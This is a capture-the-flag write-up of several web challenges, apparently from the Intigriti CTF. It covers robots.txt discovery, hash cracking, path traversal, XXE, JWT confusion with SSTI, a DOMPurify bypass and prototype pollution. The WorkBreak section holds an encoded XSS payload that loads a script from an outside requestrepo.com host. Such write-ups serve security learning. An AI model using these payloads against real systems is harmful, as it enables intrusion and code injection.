Pizza Paradise, 100p, 395 solves

  1. Find robots.txt in host page, https://pizzaparadise.ctf.intigriti.io/robots.txt

     User-agent: *
     Disallow: /secret_172346606e1d24062e891d537e917a90.html
     Disallow: /assets/
    
  2. Open secret login page, find admin username and password hash in client js. https://pizzaparadise.ctf.intigriti.io/assets/js/auth.js

     const validUsername = "agent_1337";
     const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";
    
  3. Crack sha256 using online tools https://passwordrecovery.io/sha256/. And get password intel420

  4. Login with valid username and password. After login using image download path traversal to leak php file, there is flag!

BioCorp, 100p, 389 solves

  1. Simple XXE to read flag, too simple

Cat Club, 100p, 130 solves

  1. JWT algorithm confusion attack, portswigger lab. Using jwt attack to change username.

  2. The changed username is injected to pug template, so just change username to SSTI payload to RCE to read the flag.txt.

SafeNotes 2.0, 218p, 43 solves

  1. Users can create note with html but sanitized by Dompurify. But in logNoteAccess function, const currentUsername = document.getElementById("username").innerText; is vulnerable to read our payload, so username can be controled.

     function logNoteAccess(noteId, content) {
             // Read the current username, maybe we need to ban them?
             const currentUsername = document.getElementById("username").innerText;
             const username = currentUsername || urlParams.get("name");
    
             // Just in case, it seems like people can do anything with the client-side!!
             const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');
    
             fetch("/api/notes/log/" + sanitizedUsername, {
                 method: "POST",
                 headers: {
                     "Content-Type": "application/json",
                     "X-CSRFToken": csrf_token,
                 },
                 body: JSON.stringify({
                     name: username,
                     note_id: noteId,
                     content: content
                 }),
             })
                 .then(response => response.json())
                 .then(data => {
                     // Does the log entry data look OK?
                     document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2)
                     document.getElementById("debug-content-section").style.display = "block";
                 })
                 .catch(error => console.error("Logging failed:", error));
    
         }
    
  2. Bypass regex filter: const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, ''); . Using ....// to bypass filter, so we can get ../. Therefore, using client side path traversal, we made fetch to another api which will return our manipulated username. fetch("/api/notes/log/" + sanitizedUsername) =>fetch("/contact").

  3. XSS sink, create div with id debug-content. and the data is containing our xss payload.

     document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2)
    

WorkBreak, 400p, 26 solve

  1. Post payload using api https://workbreak-0.ctf.intigriti.io/api/user/settings:

     {"name":"Anon","phone":"","position":"","__proto__":{"tasks":[{"date":"2024-11-20","tasksCompleted":"<img src=x onerror=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOwpzY3JpcHQuc3JjID0gImh0dHBzOi8vY2VoZTcwMTAucmVxdWVzdHJlcG8uY29tIjsKZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzY3JpcHQpOw=='))>"}]}}
    
  2. Client side prototype pollution, in client side, profile will read our data above, noting that __proto__ is read, chain with Object.assign we can pollute the userSettings object, so this object is containing tasks field now.

     const userSettings = Object.assign(
                     { name: "", phone: "", position: "" },
                     profileData.assignedInfo
                 );
    
  3. Due to insecure iframe postmessage, we can send xss payload to iframe. Also, the xss in iframe will send xss payload back to parent, triggering parent xss.